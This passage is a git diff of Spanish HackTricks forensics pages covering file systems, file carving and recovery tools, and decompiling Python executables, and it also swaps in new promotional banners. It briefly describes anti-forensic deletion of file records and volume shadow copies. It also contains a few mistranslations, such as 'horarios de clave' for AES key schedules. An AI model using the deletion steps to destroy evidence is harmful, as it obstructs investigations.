+Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la imagen siguiente se detectó un **MBR** en el **sector 0** e interpretado:
![](<../../../.gitbook/assets/image (494).png>)
Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío).
+
## Sistemas de archivos
### Lista de sistemas de archivos de Windows
@@ -160,31 +162,31 @@ Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI P
### FAT
-El sistema de archivos **FAT (File Allocation Table)** está diseñado en torno a su componente central, la tabla de asignación de archivos, ubicada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de inicio del sistema.
+El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñado en torno a su componente central, la tabla de asignación de archivos, situada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de arranque del sistema.
-La unidad básica de almacenamiento del sistema de archivos es un **clúster, generalmente de 512B**, que comprende varios sectores. FAT ha evolucionado a través de versiones:
+La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones:
-* **FAT12**, que admite direcciones de clúster de 12 bits y maneja hasta 4078 clústeres (4084 con UNIX).
-* **FAT16**, mejorando a direcciones de 16 bits, pudiendo alojar hasta 65,517 clústeres.
-* **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante número de 268,435,456 clústeres por volumen.
+* **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX).
+* **FAT16**, que mejora a direcciones de 16 bits, permitiendo hasta 65,517 clusters.
+* **FAT32**, que avanza aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen.
Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo.
-Los componentes clave del directorio raíz, especialmente para FAT12 y FAT16, incluyen:
+Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16, incluyen:
* **Nombre de archivo/carpeta** (hasta 8 caracteres)
* **Atributos**
* **Fechas de creación, modificación y último acceso**
-* **Dirección de la tabla FAT** (indicando el clúster de inicio del archivo)
+* **Dirección de la tabla FAT** (que indica el cluster inicial del archivo)
* **Tamaño del archivo**
### EXT
-**Ext2** es el sistema de archivos más común para particiones **sin registro de diario** (particiones que no cambian mucho) como la partición de arranque. **Ext3/4** son **con registro de diario** y se utilizan generalmente para las **otras particiones**.
+**Ext2** es el sistema de archivos más común para **particiones que no registran** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con registro** y se utilizan generalmente para el **resto de las particiones**.
## **Metadatos**
-Algunos archivos contienen metadatos. Esta información es sobre el contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, podría contener información como:
+Algunos archivos contienen metadatos. Esta información se refiere al contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, puede tener información como:
* Título
* Versión de MS Office utilizada
@@ -194,36 +196,36 @@ Algunos archivos contienen metadatos. Esta información es sobre el contenido de
* Coordenadas GPS
* Información de la imagen
-Puedes utilizar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo.
+Puedes usar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo.
## **Recuperación de archivos eliminados**
### Archivos eliminados registrados
-Como se vio anteriormente, hay varios lugares donde el archivo aún se guarda después de ser "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos solo lo marca como eliminado pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados.
+Como se vio antes, hay varios lugares donde el archivo aún se guarda después de haber sido "eliminado". Esto se debe a que, generalmente, la eliminación de un archivo de un sistema de archivos simplemente lo marca como eliminado, pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados.
-Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y las copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible.
+Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### **Tallado de archivos**
+### **Carving de archivos**
-El **tallado de archivos** es una técnica que intenta **encontrar archivos en el conjunto de datos**. Hay 3 formas principales en las que funcionan herramientas como esta: **Basadas en encabezados y pies de página de tipos de archivo**, basadas en **estructuras de tipos de archivo** y basadas en el **contenido** en sí.
+**El carving de archivos** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en los encabezados y pies de los tipos de archivos**, basado en las **estructuras** de los tipos de archivos y basado en el **contenido** mismo.
-Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no se almacena en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él.
+Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él.
-Hay varias herramientas que puedes utilizar para el tallado de archivos indicando los tipos de archivo que deseas buscar.
+Hay varias herramientas que puedes usar para el carving de archivos indicando los tipos de archivos que deseas buscar.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### Tallado de **flujos de datos**
+### Carving de flujo de datos **C**
-El tallado de flujos de datos es similar al tallado de archivos pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
-Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas, esta técnica buscará URLs.
+El carving de flujo de datos es similar al carving de archivos, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
+Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@@ -231,8 +233,8 @@ Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas
### Eliminación segura
-Obviamente, existen formas de **eliminar archivos de manera "segura" y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de seguridad de volumen**.\
-Puedes notar que incluso realizando esa acción, puede haber **otras partes donde la existencia del archivo aún esté registrada**, y parte del trabajo de un profesional forense es encontrarlas.
+Obviamente, hay formas de **"eliminar de forma segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de sombra del volumen**.\
+Puedes notar que incluso al realizar esa acción puede haber **otras partes donde la existencia del archivo aún está registrada**, y eso es cierto, y parte del trabajo del profesional forense es encontrarlas.
## Referencias
@@ -240,4 +242,19 @@ Puedes notar que incluso realizando esa acción, puede haber **otras partes dond
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
-* **iHackLabs Certified Digital Forensics Windows**
+* **iHackLabs Certificado en Forense Digital Windows**
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index 06746fdda..8e896a259 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -1,20 +1,21 @@
-# Herramientas de Carving y Recuperación de Datos
+# File/Data Carving & Recovery Tools
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-**Grupo de Seguridad Try Hard**
+**Try Hard Security Group**
@@ -22,19 +23,19 @@ Otras formas de apoyar a HackTricks:
***
-## Herramientas de Carving y Recuperación
+## Carving & Recovery tools
-Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
-La herramienta más comúnmente utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para admitir imágenes de disco y otros tipos de imágenes, pero no archivos simples.
+La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
### Binwalk
**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
-**Comandos útiles**:
+**Useful commands**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
@@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
-Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará por defecto los tipos de archivos configurados.
+Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@@ -51,56 +52,58 @@ foremost -v -i file.img -o output
```
### **Scalpel**
-**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, deberás descomentar en el archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas extraer.
+**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas que extraiga.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
-Esta herramienta viene incluida en Kali pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
+Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
-Esta herramienta puede escanear una imagen y **extraer pcaps** en su interior, **información de red (URLs, dominios, IPs, MACs, correos electrónicos)** y más **archivos**. Solo tienes que hacer:
+Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
```
bulk_extractor memory.img -o out_folder
```
+Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
+
### PhotoRec
Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
-Viene con versiones de GUI y CLI. Puedes seleccionar los **tipos de archivos** que deseas que PhotoRec busque.
+Viene con versiones GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque.
![](<../../../.gitbook/assets/image (524).png>)
### binvis
-Verifica el [código](https://code.google.com/archive/p/binvis/) y la [herramienta de la página web](https://binvis.io/#/).
+Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web de la herramienta](https://binvis.io/#/).
#### Características de BinVis
-* Visualizador de **estructuras** visual y activo
+* Visual y activo **visor de estructuras**
* Múltiples gráficos para diferentes puntos de enfoque
-* Enfoque en porciones de una muestra
-* **Ver cadenas y recursos**, en ejecutables PE o ELF, por ejemplo
-* Obtener **patrones** para criptoanálisis en archivos
-* **Detectar** algoritmos de empaquetado o codificación
-* **Identificar** Esteganografía por patrones
+* Enfocándose en porciones de una muestra
+* **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo.
+* Obteniendo **patrones** para criptoanálisis en archivos
+* **Detectando** algoritmos de empaquetado o codificación
+* **Identificar** esteganografía por patrones
* **Diferenciación** binaria visual
-BinVis es un excelente **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra.
+BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra.
-## Herramientas Específicas de Recuperación de Datos
+## Herramientas específicas de recuperación de datos
### FindAES
-Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
+Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
Descarga [aquí](https://sourceforge.net/projects/findaes/).
-## Herramientas Complementarias
+## Herramientas complementarias
Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
-Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un PDF en texto y leerlo.
+Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo.
**Try Hard Security Group**
@@ -108,16 +111,17 @@ Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para tra
{% embed url="https://discord.gg/tryhardsecurity" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index 7b80cb0d8..26fbe75f7 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -1,28 +1,29 @@
-# Descompilar binarios de Python compilados (exe, elf) - Recuperar desde .pyc
+# Decompilar binarios de python compilados (exe, elf) - Recuperar de .pyc
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
-**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
+**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
-## Desde Binario Compilado a .pyc
+## De binario compilado a .pyc
-Desde un binario compilado **ELF** puedes **obtener el .pyc** con:
+De un binario compilado **ELF** puedes **obtener el .pyc** con:
```bash
pyi-archive_viewer
# The list of python modules will be given here:
@@ -41,17 +42,17 @@ pyi-archive_viewer
? X binary_name
to filename? /tmp/binary.pyc
```
-En un **binario exe de Python** compilado puedes **obtener el .pyc** ejecutando:
+En un **python exe binary** compilado puedes **obtener el .pyc** ejecutando:
```bash
python pyinstxtractor.py executable.exe
```
-## De .pyc a código de Python
+## From .pyc to python code
-Para los datos de **.pyc** ("compilados" de Python) debes comenzar intentando **extraer** el **código de Python** **original**:
+Para los datos **.pyc** ("compilado" python) deberías comenzar intentando **extraer** el **código** **python** **original**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
-**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (de lo contrario, uncompyle6 no funcionará)
+**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no va a funcionar)
Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**:
@@ -62,17 +63,17 @@ Unknown magic number 227 in /tmp/binary.pyc
```
Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado.
-**Los números mágicos varían con la versión de Python**, para obtener el número mágico de **Python 3.8** necesitarás **abrir un terminal de Python 3.8** y ejecutar:
+**Los números mágicos varían según la versión de python**, para obtener el número mágico de **python 3.8** necesitarás **abrir un terminal de python 3.8** y ejecutar:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
-El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, luego, para corregir este error necesitarás **agregar** al **principio** del archivo **.pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000`
+El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para corregir este error necesitarás **agregar** al **principio** del **archivo .pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000`
**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar corregido.**
-Así es como se verá un **encabezado mágico .pyc de python3.8** correctamente agregado:
+Así es como se verá un **encabezado mágico .pyc python3.8** correctamente agregado:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
-### Error: Errores de decompilación genéricos
+### Error: Errores genéricos de descompilación
-**Otros errores** como: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` pueden aparecer.
+**Otros errores** como: `class 'AssertionError'>; co_code debería ser uno de los tipos (, , , ); es tipo ` pueden aparecer.
-Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que asegúrate de usar el correcto (o intenta con uno nuevo).
+Esto probablemente significa que **no has agregado correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que **asegúrate de usar el correcto** (o prueba uno nuevo).
-Verifica la documentación del error anterior.
+Consulta la documentación del error anterior.
## Herramienta Automática
-La herramienta [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y decompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación.
+La [**herramienta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y descompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación.
-### ImportError: Nombre del archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe
+### ImportError: Nombre de archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe
-Un problema común encontrado implica un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a la falta de un número de versión de bytecode de Python**. Para abordar esto, se ha añadido una opción de prepend, que añade el número de versión de bytecode de Python necesario, facilitando el proceso de decompilación.
+Un problema común encontrado involucra un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a un número de versión de bytecode de Python faltante**. Para abordar esto, se ha añadido una opción de prepend, que agrega el número de versión de bytecode de Python necesario, facilitando el proceso de descompilación.
Ejemplo del problema:
```python
@@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
-## Analizando el ensamblado de Python
+## Análisis de ensamblaje de python
-Si no pudiste extraer el código "original" de Python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblado** (pero **no es muy descriptivo**, así que intenta extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de Python2, utiliza python2:
+Si no pudiste extraer el código "original" de python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblaje** (pero **no es muy descriptivo**, así que **intenta** extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de python2, usa python2:
```bash
>>> import dis
>>> import marshal
@@ -161,13 +162,13 @@ True
```
## Python a Ejecutable
-Para empezar, vamos a mostrarte cómo los payloads pueden ser compilados en py2exe y PyInstaller.
+Para comenzar, vamos a mostrarte cómo se pueden compilar cargas útiles en py2exe y PyInstaller.
-### Para crear un payload usando py2exe:
+### Para crear una carga útil usando py2exe:
1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org)
-2. Para el payload (en este caso, lo nombraremos hello.py), utiliza un script como el que se muestra en la Figura 1. La opción "bundle\_files" con el valor de 1 empaquetará todo, incluido el intérprete de Python, en un solo ejecutable.
-3. Una vez que el script esté listo, emitiremos el comando "python setup.py py2exe". Esto creará el ejecutable, tal como se muestra en la Figura 2.
+2. Para la carga útil (en este caso, la llamaremos hello.py), utiliza un script como el de la Figura 1. La opción “bundle\_files” con el valor de 1 agrupará todo, incluyendo el intérprete de Python, en un solo exe.
+3. Una vez que el script esté listo, emitiremos el comando “python setup.py py2exe”. Esto creará el ejecutable, tal como en la Figura 2.
```python
from distutils.core import setup
import py2exe, sys, os
@@ -197,8 +198,8 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Para crear un payload usando PyInstaller:
-1. Instalar PyInstaller usando pip (pip install pyinstaller).
-2. Después de eso, emitiremos el comando "pyinstaller --onefile hello.py" (un recordatorio de que 'hello.py' es nuestro payload). Esto empaquetará todo en un ejecutable.
+1. Instala PyInstaller usando pip (pip install pyinstaller).
+2. Después de eso, emitiremos el comando “pyinstaller –onefile hello.py” (un recordatorio de que ‘hello.py’ es nuestro payload). Esto empaquetará todo en un solo ejecutable.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@@ -217,20 +218,21 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
-**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, ¡y comienza a ganar recompensas de hasta **$100,000**!
+**Consejo de recompensas por errores**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
